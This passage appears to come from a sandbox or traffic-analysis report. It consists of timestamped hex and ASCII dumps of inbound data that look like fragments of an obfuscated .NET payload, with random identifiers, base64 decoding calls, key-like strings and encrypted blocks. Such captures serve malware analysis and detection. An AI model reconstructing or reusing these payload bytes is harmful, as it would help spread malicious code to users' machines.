2022-01-14 01:04:32 UTC	118	IN	Data Raw: 45 56 51 43 58 00 4e 30 35 68 76 51 48 74 4f 58 00 6c 50 6e 68 52 55 6b 74 32 54 00 63 44 30 68 4e 35 32 6e 4c 48 00 73 4a 33 68 72 50 57 78 58 37 00 56 61 76 68 62 34 30 41 73 37 00 52 65 6b 68 50 33 41 70 6d 30 00 61 59 73 68 36 35 62 44 69 63 00 52 37 6c 68 54 5a 31 42 70 5a 00 48 49 50 39 54 34 4f 4a 67 79 69 44 72 4e 61 75 66 47 59 00 47 52 49 38 42 4b 6a 4c 70 56 00 66 6e 38 38 43 6f 6f 75 67 67 00 75 67 53 38 78 79 43 67 67 66 00 69 48 49 38 44 37 49 47 79 50 00 50 66 4a 38 31 76 44 38 44 79 00 65 4e 64 38 67 6b 55 67 4b 47 00 43 41 6d 38 61 48 4c 32 56 46 00 66 77 72 68 44 73 74 51 6a 6e 00 4c 42 36 38 6c 66 51 76 75 74 00 41 6c 79 38 38 33 50 6e 32 4e 00 65 43 52 38 69 70 48 4a 39 35 00 4d 58 68 68 34 38 45 54 6c 64 00 6f 6f 75 38 37 6a 68 55 55 Data Ascii: EVQCXN05hvQHtOXlPnhRUkt2TcD0hN52nLHsJ3hrPWxX7Vavhb40As7RekhP3Apm0aYsh65bDicR7lhTZ1BpZHIP9T4OJgyiDrNaufGYGRI8BKjLpVfn88CoouggugS8xyCggfiHI8D7IGyPPfJ81vD8DyeNd8gkUgKGCAm8aHL2VFfwrhDstQjnLB68lfQvutAly883Pn2NeCR8ipHJ95MXhh48ETldoou87jhUU
2022-01-14 01:04:32 UTC	122	IN	Data Raw: 6c 00 57 53 4b 6c 7a 6f 44 6f 30 53 00 6e 77 57 55 30 76 46 75 36 35 00 61 6a 69 55 31 43 73 74 50 54 00 6f 35 44 55 48 46 4d 70 34 44 00 68 56 34 55 66 75 49 77 4d 50 00 71 6d 74 55 49 41 39 66 4a 47 00 44 47 69 55 6d 32 70 78 70 48 00 4d 30 53 6d 36 47 5a 30 59 4d 49 69 55 6e 39 62 6a 63 54 00 74 43 44 69 78 78 63 48 6e 50 00 72 48 4f 69 79 68 73 79 72 34 00 6c 36 44 69 47 75 37 44 41 36 00 54 61 72 67 65 74 49 6e 76 6f 63 61 74 69 6f 6e 45 78 63 65 70 74 69 6f 6e 00 4b 69 34 69 42 36 36 4c 48 56 00 70 6f 77 69 4c 34 38 54 73 73 00 58 74 61 69 46 6c 38 61 64 6f 00 4f 4b 47 69 57 6b 70 66 76 42 00 4c 61 6f 69 6e 57 4a 51 53 45 00 43 6f 6e 73 74 72 75 63 74 6f 72 49 6e 66 6f 00 4f 76 65 72 66 6c 6f 77 45 78 63 65 70 74 69 6f 6e 00 73 65 74 5f 49 74 65 6d Data Ascii: lWSKlzoDo0SnwWU0vFu65ajiU1CstPTo5DUHFMp4DhV4UfuIwMPqmtUIA9fJGDGiUm2pxpHM0Sm6GZ0YMIiUn9bjcTtCDixxcHnPrHOiyhsyr4l6DiGu7DA6TargetInvocationExceptionKi4iB66LHVpowiL48TssXtaiFl8adoOKGiWkpfvBLaoinWJQSEConstructorInfoOverflowExceptionset_Item
2022-01-14 01:04:32 UTC	127	IN	Data Raw: 38 64 61 63 33 36 36 64 00 6d 5f 65 37 32 35 31 62 34 65 34 64 38 34 34 64 32 64 39 63 36 62 36 66 66 63 38 38 66 31 37 36 63 30 00 6d 5f 39 34 30 30 36 62 61 39 39 37 61 31 34 38 63 65 38 66 32 64 63 36 34 39 30 36 33 39 34 62 35 30 00 6d 5f 66 62 38 61 64 37 36 66 61 39 61 37 34 37 31 65 38 62 31 65 30 32 61 34 30 37 37 66 66 30 62 63 00 6d 5f 33 61 61 33 63 61 64 39 30 64 63 65 34 31 31 31 38 31 64 33 37 61 34 64 61 39 61 61 64 61 65 33 00 6d 5f 64 66 64 64 61 34 31 35 61 36 62 36 34 30 37 34 39 65 39 35 33 64 31 63 35 31 64 39 38 33 33 38 00 6d 5f 38 33 62 37 62 37 66 63 35 65 38 65 34 34 63 62 61 38 61 37 63 63 31 30 36 37 37 63 31 35 61 35 00 6d 5f 30 36 33 30 33 61 34 31 36 37 64 36 34 63 36 30 39 37 32 33 62 65 32 64 63 33 35 61 64 65 30 30 00 6d Data Ascii: 8dac366dm_e7251b4e4d844d2d9c6b6ffc88f176c0m_94006ba997a148ce8f2dc64906394b50m_fb8ad76fa9a7471e8b1e02a4077ff0bcm_3aa3cad90dce411181d37a4da9aadae3m_dfdda415a6b640749e953d1c51d98338m_83b7b7fc5e8e44cba8a7cc10677c15a5m_06303a4167d64c609723be2dc35ade00m
2022-01-14 01:04:32 UTC	130	IN	Data Raw: 38 00 73 65 33 68 48 59 61 51 54 39 00 73 45 4c 68 52 73 41 4e 75 30 00 59 45 6e 68 46 67 6a 4b 64 78 00 44 4d 41 68 74 56 64 4b 66 59 00 4f 69 59 68 35 75 46 79 37 67 00 45 56 77 67 31 4c 53 58 35 64 00 4d 37 55 68 34 4e 38 65 6b 72 00 6e 55 65 68 65 50 62 6e 6d 73 00 46 36 6c 68 42 58 42 77 58 38 00 6b 6e 4a 68 7a 55 48 4f 46 73 00 44 56 58 67 68 4e 4b 35 54 50 00 41 75 31 67 4f 79 47 65 76 35 00 63 76 6c 67 5a 6b 43 42 39 6c 00 78 77 31 67 49 77 43 41 78 74 00 48 36 71 67 76 6b 46 32 41 50 00 54 36 39 67 6c 72 79 76 73 47 00 4e 48 4c 67 4a 37 69 37 6a 77 00 4b 71 6d 67 6b 38 4f 4e 39 6d 00 42 69 6e 64 65 72 00 54 6f 43 68 61 72 41 72 72 61 79 00 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 00 54 6f 43 68 61 72 00 41 70 70 65 6e 64 00 49 6e Data Ascii: 8se3hHYaQT9sELhRsANu0YEnhFgjKdxDMAhtVdKfYOiYh5uFy7gEVwg1LSX5dM7Uh4N8ekrnUehePbnmsF6lhBXBwX8knJhzUHOFsDVXghNK5TPAu1gOyGev5cvlgZkCB9lxw1gIwCAxtH6qgvkF2APT69glryvsGNHLgJ7i7jwKqmgk8ON9mBinderToCharArrayFromBase64CharArrayToCharAppendIn
2022-01-14 01:04:32 UTC	134	IN	Data Raw: 61 00 72 00 41 00 72 00 72 00 61 00 79 00 00 0f 52 00 65 00 70 00 6c 00 61 00 63 00 65 00 00 17 54 00 6f 00 43 00 68 00 61 00 72 00 41 00 72 00 72 00 61 00 79 00 00 0d 4c 00 65 00 6e 00 67 00 74 00 68 00 00 07 47 00 65 00 74 00 00 59 4c 00 35 00 68 00 64 00 58 00 6c 00 53 00 61 00 44 00 57 00 31 00 59 00 73 00 4b 00 4f 00 44 00 79 00 2f 00 58 00 42 00 79 00 4d 00 59 00 53 00 6a 00 57 00 47 00 68 00 52 00 65 00 45 00 2b 00 45 00 41 00 6c 00 32 00 48 00 73 00 74 00 59 00 51 00 53 00 4d 00 3d 00 00 31 2f 00 4d 00 74 00 59 00 4c 00 4d 00 67 00 30 00 37 00 63 00 4f 00 33 00 44 00 31 00 61 00 2f 00 58 00 76 00 34 00 2b 00 43 00 67 00 3d 00 3d 00 00 1b 74 00 69 00 42 00 72 00 6d 00 6b 00 68 00 57 00 54 00 79 00 4e 00 59 00 64 00 00 80 9d 53 00 79 00 73 00 74 00 Data Ascii: arArrayReplaceToCharArrayLengthGetYL5hdXlSaDW1YsKODy/XByMYSjWGhReE+EAl2HstYQSM=1/MtYLMg07cO3D1a/Xv4+Cg==tiBrmkhWTyNYdSyst
2022-01-14 01:04:32 UTC	138	IN	Data Raw: 18 18 09 09 09 0a 00 05 08 18 18 1d 05 09 10 18 06 00 03 0e 0e 0e 0e 08 00 04 08 18 08 08 10 08 06 00 03 18 09 08 09 04 00 01 08 18 03 00 00 18 05 00 02 02 18 18 0a 07 05 1d 05 12 81 6d 08 08 08 0d 20 04 01 0e 11 81 71 11 81 75 11 81 79 05 00 00 12 80 ad 07 00 01 1d 05 12 80 ad 08 07 02 12 80 ad 12 80 f9 05 20 00 12 80 a1 07 20 03 01 1d 05 08 08 04 00 01 08 0e 0b 07 06 0f 03 45 0e 08 08 08 0f 03 05 00 02 02 0e 0e 06 07 04 02 02 08 08 04 20 01 02 0e 04 20 01 03 08 07 07 04 1d 05 08 08 08 06 07 03 1d 05 08 08 05 00 02 18 18 08 06 00 03 01 18 08 0a 07 00 04 01 1c 08 18 08 03 00 00 1c 05 00 00 12 81 4d 05 20 00 12 81 49 04 00 01 18 1c 06 00 03 18 18 1c 09 07 00 02 12 80 91 1c 02 07 00 02 12 80 91 0e 02 09 00 02 02 12 80 91 12 80 91 05 20 00 12 81 7d 05 20 00 Data Ascii: m quy E M I }
2022-01-14 01:04:32 UTC	142	IN	Data Raw: 0a 00 02 1d 12 81 1d 1c 12 82 68 04 06 12 82 6c 06 20 01 12 80 91 1c 09 00 02 12 80 91 1c 12 82 6c 04 06 12 82 70 07 00 02 02 1c 12 82 70 04 06 12 82 74 09 20 02 02 12 80 91 12 80 91 0c 00 03 02 12 80 91 12 80 91 12 82 74 04 06 12 82 78 04 20 01 05 1c 07 00 02 05 1c 12 82 78 04 06 12 82 7c 04 20 01 0a 1c 07 00 02 0a 1c 12 82 7c 04 06 12 82 80 04 20 01 0c 1c 07 00 02 0c 1c 12 82 80 04 06 12 82 84 04 20 01 0d 1c 07 00 02 0d 1c 12 82 84 04 06 12 82 88 07 20 02 12 80 ad 1c 0e 0a 00 03 12 80 ad 1c 0e 12 82 88 04 06 12 82 8c 06 20 02 1d 05 1c 08 09 00 03 1d 05 1c 08 12 82 8c 04 06 12 82 90 08 20 01 12 80 91 12 80 91 0b 00 02 12 80 91 12 80 91 12 82 90 04 06 12 82 94 07 20 02 1c 12 80 91 08 0a 00 03 1c 12 80 91 08 12 82 94 04 06 12 82 98 07 20 02 1c 12 80 91 09 Data Ascii: hl lppt tx x\| \|
2022-01-14 01:04:32 UTC	146	IN	Data Raw: 9e 83 48 39 ad 17 52 14 f5 84 c3 66 6b 17 fa 7c 1e 81 92 ff 9e cb 0e c2 5b 6f a7 af d4 aa d4 aa 33 ec 21 e9 08 2e e4 dc 76 b9 53 51 55 e4 d3 63 a4 73 ce 4c 4b cf 85 09 56 54 5e d3 95 97 08 bd 41 f8 86 ea ee 9a 2e b1 e6 1d ac 0b 56 a8 03 0e 74 16 b5 c4 e8 7b 31 c8 34 04 74 45 e5 60 a9 06 9a 8b ad f9 8f fc c7 ab 58 3f e3 55 e2 dd 1f c1 df a7 48 81 1a fc ab 92 ca 62 68 ff 56 ca 2c 23 36 41 82 85 ab 94 86 69 50 6d e2 b4 10 20 c3 96 c9 08 0d df 4d 5b 03 69 45 91 6f 05 8c dc 66 8c 2c a9 f5 71 fa 9e c6 0b 97 38 6a e6 ed ee 8e 58 70 a2 5d 02 97 36 e3 da fb 76 74 ff ad 2e 3d 4d 97 44 a2 48 68 ad 6e f4 fb e1 26 28 3a 5e 8d 41 18 86 3b e7 41 52 5b ba d8 44 53 03 b7 88 9d 4f de 82 f2 94 60 b8 9b 6f 6f ba 87 d6 6a ff f3 87 be a1 6e 6b 01 06 d9 02 09 21 14 77 2e c1 2c Data Ascii: H9Rfk\|[o3!.vSQUcsLKVT^A.Vt{14tE`X?UHbhV,#6AiPm M[iEof,q8jXp]6vt.=MDHhn&(:^A;AR[DSO`oojnk!w.,
2022-01-14 01:04:32 UTC	150	IN	Data Raw: 6e cc 01 80 95 af a8 02 81 a1 43 c4 2f 35 41 2d da 05 dc 20 70 9c ea 68 d8 89 eb c6 25 21 20 e0 52 e9 ff ac 3b e4 f0 29 9d bc 67 9e 0a 24 1e b3 01 11 1c d3 17 f8 78 95 54 e0 01 d1 d4 44 0b ca 43 ba 7e c2 3e eb 99 39 9c 1e d3 67 55 d1 3b fb 83 24 a8 56 93 fd 57 f4 49 85 a4 a1 7e 4d 10 64 3b 9a 10 87 ae 97 4b 0e cd 98 14 0a 8a 68 f2 6e 21 1b 68 69 6d b6 93 d1 b7 8a c0 8d 25 d8 0f 9a 33 08 e8 8e 27 59 0d 0e eb d6 98 c9 ea 4f b3 25 db c1 e2 07 85 02 2f f2 31 65 12 56 b3 98 13 5e 57 9c bb 3c b8 32 50 e1 67 9a 5c b9 6d 78 77 75 b4 db 04 5c 54 88 18 c4 fc 53 0f 6e f6 c1 63 7a bd 29 70 50 c9 fb 26 fb 93 ce ec e9 59 32 66 8d 75 2d 6d 09 a0 4d 03 d0 7e 75 26 14 d5 a1 64 b0 99 da 0e 93 17 77 29 cf c2 34 f9 fe ec 5c b6 df f7 a7 d9 0e 47 7f 29 66 61 b6 98 ef 03 a8 1f Data Ascii: nC/5A- ph%! R;)g$xTDC~>9gU;$VWI~Md;Khn!him%3'YO%/1eV^W<2Pg\mxwu\TSncz)pP&Y2fu-mM~u&dw)4\G)fa
2022-01-14 01:04:32 UTC	154	IN	Data Raw: 8c d3 c7 84 4d a5 49 c4 2d 8b 4f cc 3e 6b ac 87 25 b4 51 ff 69 63 2e 43 61 f4 3c 2d d4 a4 ea 4f 5c 2f ab 92 ca 11 31 40 32 5b 32 96 07 ef bd 22 8a d3 84 df 9d e1 75 6e d4 ed 18 e9 a1 a6 29 77 5d 47 6f 66 48 13 6a ac a5 3a 10 ba be d7 c3 13 f0 bb 2a 76 8e 27 98 a2 7b 8e a7 1a 9c 2b 72 b5 50 46 af c8 78 ca 18 81 c3 30 94 f2 39 27 2d e2 0b 63 a1 4b 30 a7 11 40 04 18 41 fe b0 79 7f 66 ea c3 f9 1c af c5 b6 23 ab 13 d2 b1 5f 04 cb 2d 8e d7 fe b7 87 a2 ea 4d 29 a7 b6 c0 00 22 2d b5 42 ed 55 47 4f 95 a5 d3 2b a6 8b 5d b7 91 76 94 f4 8d 38 95 55 0a 7b 23 9e b2 2d 31 be b2 6c f0 de 7c 59 b4 ff 78 60 4b 71 e1 5f 3e 0c 75 cb fe c1 9f 20 27 78 44 4c b1 96 a2 d4 df 31 54 5b 65 fb 15 ff 26 04 c9 06 71 81 64 60 24 9a 64 67 a9 cc 88 5f b1 d2 05 3c 0a 14 f8 a9 06 f3 64 64 Data Ascii: MI-O>k%Qic.Ca<-O\/1@2[2"un)w]GofHj:*v'{+rPFx09'-cK0@Ayf#_-M)"-BUGO+]v8U{#-1l\|Yx`Kq_>u 'xDL1T[e&qd`$dg_<dd
2022-01-14 01:04:32 UTC	159	IN	Data Raw: 69 1b 4e 75 1c a9 9e c6 03 7c 1e d5 c4 b6 48 f4 37 96 f7 ad 15 2a a7 1b 6a 7e 4f b7 12 11 3d a8 c2 27 d8 ab e2 98 86 62 8d 44 dd b8 16 b8 cc 41 ba b4 5e 8f 25 86 0f e3 be 80 11 e8 f6 ca 14 06 da 5c f3 01 20 31 0a 6c ba 6c e8 f4 32 55 54 ed f9 c4 97 7d 8a 01 65 cd 66 51 1e c4 68 f3 8b 48 8a bb 6e 14 47 86 e4 25 dc 5d dc 7b ed 2e 5e 74 d1 17 9e 36 29 cb a3 cc 1f 8d 49 92 ee 47 d2 3d b3 ca 3f 0e b5 d3 bb 3d 6a 52 2d 23 97 22 67 1b d8 22 1a 12 5e 3e bb 45 06 42 3e 69 dc ee 7c 6e 59 e7 bb 95 c9 97 d6 78 6a 33 3f 5d d0 4d ee f1 f0 64 d1 07 82 98 15 95 6a 81 c2 69 3b ef 12 a1 27 0b 4b d2 cd 58 95 8f 0f 5d 9c fb 66 19 ce 82 2c 65 df b6 4f 10 be ad 6c 75 d2 4a 63 95 a8 6e 43 ce 9c 4a 3d e7 b7 b6 35 d2 49 54 54 e8 93 e4 83 e3 69 d4 00 51 ee c5 63 10 f7 37 94 18 2d Data Ascii: iNu\|H7*j~O='bDA^%\ 1ll2UT}efQhHnG%]{.^t6)IG=?=jR-#"g"^>EB>i\|nYxj3?]Mdji;'KX]f,eOluJcnCJ=5ITTiQc7-
2022-01-14 01:04:32 UTC	162	IN	Data Raw: 46 66 57 be ea af a6 12 21 0a 44 bf ee b1 4d a1 50 c7 da c7 1b 5e 5f 6d 4b 1d e9 93 d7 06 ec 23 6b 71 91 69 fc 00 5b 61 68 fb cb d5 cd 25 3f 64 4a 7b d1 68 35 59 fe ae fd 34 3e 73 c1 2f 9c 9d 8d 5d 64 cc 69 67 40 c1 54 10 3f c7 6e a0 b9 c7 75 5e 50 08 9e 17 ce 78 8c a3 ff a2 40 c9 10 57 75 a8 ff f1 d8 f6 c0 a6 d3 6a e6 68 8c b3 73 96 76 b0 f4 a5 61 34 1c c9 ef 3e a1 2c 00 48 e2 53 a3 7d 91 f5 00 17 28 a5 0e 32 78 9a 9a 5c df 10 8b 79 65 4d 04 45 aa 61 ec ef 2e 80 b6 80 10 88 cc f9 da a0 6e 05 52 13 87 90 1d c0 5d 99 5f e6 28 4e 04 1d 62 08 9d 4f a5 42 87 2c f0 47 3d ef 95 75 97 07 2c 9d 5d 52 8e ae 8e b4 61 4c 74 bb 98 9b 8e b3 ac a9 79 f1 75 30 be 83 16 1c 68 c8 19 8e 80 93 25 7b b9 ef 01 7d 9e d0 bb 8c 3f c5 d6 fc b9 cf d9 52 d4 fb 0c 1f d7 32 61 98 fa Data Ascii: FfW!DMP^_mK#kqi[ah%?dJ{h5Y4>s/]dig@T?nu^Px@Wujhsva4>,HS}(2x\yeMEa.nR]_(NbOB,G=u,]RaLtyu0h%{}?R2a
2022-01-14 01:04:32 UTC	166	IN	Data Raw: d2 48 02 94 a8 47 40 15 5d ea 81 43 c9 5d 61 7d 05 15 95 31 cb 91 15 80 14 ba 30 f5 93 02 54 88 9b b0 0b 8c 76 4c 95 a5 4d 01 26 09 f1 e1 08 d6 7b 60 19 f6 0e 2e 4e f6 ea 2d 4f a7 d2 4b 35 b3 77 d3 76 ea 04 30 57 ce 76 e0 26 23 a3 f9 73 89 d7 d0 71 85 88 72 4e 63 2a 82 33 55 9c 12 1c 5a f5 0c 19 5d 9b df 89 97 00 3f b7 ce 60 9c c9 cc e1 f6 e0 8f 73 50 e9 2b b6 51 98 39 d6 64 ea 03 ce 4e 3f 62 eb 60 60 2a e2 f2 17 d7 f2 7a 93 28 ee c0 6c a6 8f ae 9d db 3d 68 77 1c d3 2f 56 2b 08 e9 a8 81 34 9a df 02 e4 e5 69 30 e5 7e 78 c3 2a ed 71 2f b0 a4 24 b1 f7 12 d1 39 fb 7b 06 c1 f5 3f 3a 2d f8 5e 0d a0 6d 81 da 09 f4 3a 35 dc b6 4b cd ed 55 f2 e3 18 1d 92 e9 4e ba 1f 53 1a 7a 49 4a ad fb 59 ab 73 84 f8 1e d8 7d ce 0f 0b a7 3b af 91 aa e8 7f b2 b7 90 11 1c 12 26 b8 Data Ascii: HG@]C]a}10TvLM&{`.N-OK5wv0Wv&#sqrNc3UZ]?`sP+Q9dN?b``z(l=hw/V+4i0~x*q/$9{?:-^m:5KUNSzIJYs};&
2022-01-14 01:04:32 UTC	170	IN	Data Raw: 0b db 9e ad 09 7b 84 e4 5f 27 56 84 f7 b2 ca 86 24 4b e2 2d 9a 9f 63 bd 2f b1 ef c7 00 f3 8e 2c d7 7f 01 9c 57 d2 43 9b 27 ad 8b 63 15 75 88 5a d7 5c 82 84 f2 d5 f2 60 7a 54 87 8e 1b bf 6a 0d 49 01 90 14 23 b5 ef 65 26 c9 26 b2 ea b7 56 6b 7b dc 46 b3 0b fe 3b 19 7d 15 e4 fb 2f f8 57 0a 6b 23 06 2e 43 cb f6 35 b2 93 cc 18 4b 95 6d 3c 77 9c e8 6b 75 81 91 bf 26 47 19 43 8b a4 ee cc fa db 60 51 3f c2 89 03 17 4c d6 e3 33 16 5f 54 96 6d bf e7 c4 e1 82 fe 44 7c 77 7f 20 9c 00 2b 31 18 d2 03 d7 e7 2e 18 08 33 8d ac 92 f4 87 bd d9 ae 37 3b 5c 2b ff 6d b3 ba 58 f6 23 8b 2c 3f bc 6d 23 94 f0 0d b6 3b e4 70 c7 61 4f dc 1f c8 a8 42 6f 70 bc 69 1b f7 6f 91 f4 7a 9d 67 66 98 a4 08 65 9b bc c4 d1 93 b5 b0 76 f0 b2 d7 12 b2 cc 50 1c 80 e6 7f 6b cd 61 52 08 58 c2 3d fb Data Ascii: {_'V$K-c/,WC'cuZ\`zTjI#e&&Vk{F;}/Wk#.C5Km<wku&GC`Q?L3_TmD\|w +1.37;\+mX#,?m#;paOBopiozgfevPkaRX=
2022-01-14 01:04:32 UTC	174	IN	Data Raw: 24 e6 91 d1 07 46 1f 30 50 e6 5b e9 c6 c0 df 7e cf 3d 21 26 8c 40 c0 e7 cf 4f 3d 4f bb d3 f2 c3 d9 47 6c 59 4f 34 84 78 b0 37 36 8f 90 63 6a 23 13 3c ae 73 32 45 7c ae eb dd 60 9f d3 15 81 d3 32 ec b2 cc 32 a7 4a db 7c d4 91 2b 02 a6 e5 77 b8 6e 36 08 14 79 a3 17 d4 12 19 ee d3 6f 17 c8 8f 17 d7 1b e0 65 10 3d e9 3f 00 d0 1f 17 2b 9c 17 78 27 62 88 1e a5 6e 89 60 94 b4 ac c0 8b 8e c2 81 3d 86 6b cb c0 79 b6 cd 2e ad 4e d9 a0 4a ee 64 24 73 b6 be 36 c1 2b 1b 47 3d 21 09 4b c6 3a 17 42 a6 48 03 16 47 04 0f 08 0b 6e e5 9a 45 e7 3f a3 92 6a f2 79 55 bb 26 5c 2b 68 a4 46 d7 32 39 96 8c 75 29 fc a2 34 9b 6b d6 c3 d2 2a 4a e5 d3 54 be 4d 6a 09 e0 c1 91 09 9b bb d6 fc 38 82 38 d3 02 9d 27 3a 76 b7 2c ec 21 72 b1 fb f9 bf 55 fc eb 31 61 a9 6f 15 a2 8f ff 5b c0 d2 Data Ascii: $F0P[~=!&@O=OGlYO4x76cj#<s2E\|`22J\|+wn6yoe=?+x'bn`=ky.NJd$s6+G=!K:BHGnE?jyU&\+hF29u)4k*JTMj88':v,!rU1ao[
2022-01-14 01:04:32 UTC	178	IN	Data Raw: c2 cb 5a 6f 81 df 21 37 09 18 b3 53 f6 d6 80 f7 20 a4 d3 7a 45 32 46 70 43 7c 01 9b 1f 82 9a 4e 33 48 94 57 d4 28 6f 9d 69 04 9d cc 5b 25 1b bc ed ca 04 4e 7a 05 46 72 f4 9e d8 be 22 c7 3d 0a 56 ec 33 02 7e bb 4e 71 c4 77 0a 32 db 6f 50 71 c6 e1 da e7 76 8e f8 73 f6 62 70 e0 a0 95 85 47 55 8b ab ad 55 9c 03 d7 88 3f fa c9 ee d3 f3 23 70 1e 26 69 04 d7 23 a2 e6 2a 61 d3 bf 26 1a 33 66 84 78 01 dd d4 a8 32 b8 5b 31 5f e7 02 e6 a5 46 ed fe 36 27 7e e3 5a e6 cf 3d e6 c0 5a 31 f5 fc c1 8c 4c 6e 0e 28 b7 3c cb de 91 cf f4 79 1a 38 42 95 91 3e f6 c2 10 4c e3 19 c2 c9 e7 25 0f 8c c5 61 43 c2 d9 02 da 5e 77 7b d7 c3 51 b3 ab 2d 49 3a a1 6d 19 1c b8 4e 26 73 19 1f 52 37 a2 64 91 94 b9 49 6e e7 e4 0f dc 71 42 de 7d b2 c6 5f f4 a9 c1 e7 08 61 11 fc 13 8e dc 50 74 92 Data Ascii: Zo!7S zE2FpC\|N3HW(oi[%NzFr"=V3~Nqw2oPqvsbpGUU?#p&i#*a&3fx2[1_F6'~Z=Z1Ln(<y8B>L%aC^w{Q-I:mN&sR7dInqB}_aPt
2022-01-14 01:04:32 UTC	182	IN	Data Raw: 8b 6f 93 89 28 5e 56 c6 b2 6c 84 43 56 34 1b d9 88 4e 2e 9c 48 1b e2 35 15 b1 45 57 b0 27 f2 36 0b 0e 34 d2 32 ea 63 f9 5d 69 ba c8 6c 5f 43 cb f9 37 eb 41 c8 ad 8d 63 40 87 52 f1 e6 5f d0 8a fe 65 d3 ee 46 e1 b8 58 c4 9a d1 7e a7 18 fe 38 1d 7a cd ba eb 38 4e 84 2a 07 46 bc 12 80 58 08 f3 63 bd ea 23 7d e8 02 c4 2d aa fc bd 08 96 32 02 7b 0f 34 47 25 e0 7d bd f0 33 d8 79 06 07 33 3e ab d2 7a 87 bb 85 9e d2 cf a9 90 1c d7 9e c0 61 a2 4a f8 f3 95 23 f0 38 94 72 f0 15 9e ee bf d2 b8 6f d2 3e fe 08 1c a7 b8 08 c3 d9 db 12 45 45 cd 2f 77 c6 d4 34 f7 9c ce 23 87 b6 bf 71 fb 16 0f 97 f9 c0 46 dc 89 d5 5c aa 93 36 47 9e 4d 60 02 78 d9 1e 1d 70 20 3c 24 fa 87 19 06 22 9c a5 85 0a ae dc 2c d1 bf ac 84 c2 44 93 37 e3 0a cf 73 93 11 c3 ed d1 a2 4b 8c 32 20 25 cd 70 Data Ascii: o(^VlCV4N.H5EW'642c]il_C7Ac@R_eFX~8z8N*FXc#}-2{4G%}3y3>zaJ#8ro>EE/w4#qF\6GM`xp <$",D7sK2 %p
2022-01-14 01:04:32 UTC	186	IN	Data Raw: 57 eb 31 0a e9 d8 78 65 11 a4 a0 b1 b9 90 28 5f f7 67 05 d4 9b ff 58 ea 9a fe a1 35 8f cb 06 a3 8d 98 9b 49 7a 4d 3c be 03 32 9c 0e 7e c4 b4 a4 bf f7 8f ea 97 43 17 84 ca 6c ea 2b a2 28 93 87 ce 80 72 bc 4a 03 56 ae 3d 52 3a 18 c8 90 ba d7 03 d0 14 94 c2 27 90 bb 2d d7 fe 58 f3 c2 ad 6c f6 fa df 70 6c e6 b9 64 96 37 80 46 b0 c9 32 9d 1b ef 5c 3b bb 62 e7 51 a9 ea 0e 88 64 d4 1a b2 ae 48 a8 14 5b 55 f0 b9 ee ee 34 a0 90 6d ef b9 f3 ba 91 5b cd 83 73 7c 77 69 e0 0d 1a 8a d8 b2 b9 3b 2a 9c 22 33 ac c7 ff 8b d2 1b 73 c2 30 6d 77 dd 32 17 39 b9 a6 50 58 4e 3b b1 df ef 1d 72 ac ff 32 29 0c 51 98 4b 7e 81 25 35 5b fe 68 77 27 e2 30 bd 92 42 30 08 b5 a3 8e 16 68 02 c9 ed ed 79 b3 1b cd f9 a3 86 23 70 39 57 90 63 a4 aa e9 9b 69 11 5f b6 d4 2b 45 bd bd 77 39 e9 4e Data Ascii: W1xe(_gX5IzM<2~Cl+(rJV=R:'-Xlpld7F2\;bQdH[U4m[s\|wi;*"3s0mw29PXN;r2)QK~%5[hw'0B0hy#p9Wci_+Ew9N
2022-01-14 01:04:32 UTC	191	IN	Data Raw: 6c 33 14 8a f8 f3 b9 48 72 f4 3a 92 59 fa 9c 94 a5 0a a3 1a d2 80 f8 20 52 76 e5 37 b3 15 a8 c3 c5 42 72 22 c5 4f 20 28 81 dc 70 eb db 56 6d f5 49 83 af 0b bd 04 20 c9 6c f3 20 eb 42 03 71 26 05 bd 4e ae eb 71 fc 39 9f a5 6b 39 10 55 74 4c b0 12 10 2e a5 ed e8 9b ef d0 56 d1 1e 88 b3 b6 f4 72 3f c1 29 e4 5d 3f 63 3e bc f0 b2 fe 0c 54 9e ca 28 e2 c5 b6 ff bc 7f d6 01 c4 c8 be 31 de 65 ce cb 21 f4 25 49 78 eb 2e b0 b8 fc e8 63 f0 3f 48 6a 8c 72 4a 99 e7 8b 88 6f 16 f3 f4 e1 78 2d 26 77 4e 4a a0 d5 92 a0 ae 21 90 3d 4f 44 9f c3 47 fa 08 29 6c fe f1 fb 86 75 ea 3e b0 07 6f d0 16 eb d4 42 02 19 76 b9 8d e7 60 71 f0 fa cd 1a 05 5e b2 78 9e cd d1 86 42 28 c3 00 25 e0 a1 35 da 3c fd 8e 4a 1b a2 a4 4f 77 86 cb 98 f0 c2 b8 37 d8 db 2e af 07 1a fc 76 5c 5d b7 33 95 Data Ascii: l3Hr:Y Rv7Br"O (pVmI l Bq&Nq9k9UtL.Vr?)]?c>T(1e!%Ix.c?HjrJox-&wNJ!=ODG)lu>oBv`q^xB(%5<JOw7.v\]3
2022-01-14 01:04:32 UTC	194	IN	Data Raw: 4e 31 31 67 04 38 52 00 3f 35 52 5e d3 17 ff 13 15 65 8a c9 3f a2 bf 5e 48 56 26 08 5a 7d f9 86 15 ee 17 8c a7 b4 2c 71 ce 0e 3f 64 6f e0 77 ca ab 6c 06 72 67 09 3f 53 a5 e1 db a0 b5 60 7f 3a 13 74 80 f5 59 08 67 ed 4f 72 18 d8 2e d4 de 3e 1f a8 a2 ce 1e 33 95 15 3f 44 44 33 88 c5 72 8d ad 86 36 f8 7b 3e 92 7b 44 e1 4a 80 51 58 9b bd f1 9e e3 58 47 22 77 8d a7 f9 30 da fa a3 e4 10 58 82 af 5b 56 cc c5 d8 4e 30 f5 fb 41 e2 f9 8b 70 fd 8b 21 da 06 9b 97 c8 4b 40 2f 0f d1 b3 cc 19 04 a3 30 b6 0c 8a cd 3d 70 4d ca a3 d7 29 3a 5a 45 40 ad 53 7a 26 da a7 71 3f 65 7a 75 03 a7 0a ff 45 26 49 02 c7 c4 09 57 e7 97 7f e2 58 4b ba bf d9 c2 d9 df d5 21 04 b2 a6 42 48 1a 13 16 54 99 c4 88 6b 35 42 31 a2 5f 89 e8 8a 46 96 37 59 c1 0c f1 c4 4f d0 33 59 81 df 2a 23 4c df Data Ascii: N11g8R?5R^e?^HV&Z},q?dowlrg?S`:tYgOr.>3?DD3r6{>{DJQXXG"w0X[VN0Ap!K@/0=pM):ZE@Sz&q?ezuE&IWXK!BHTk5B1_F7YO3Y*#L
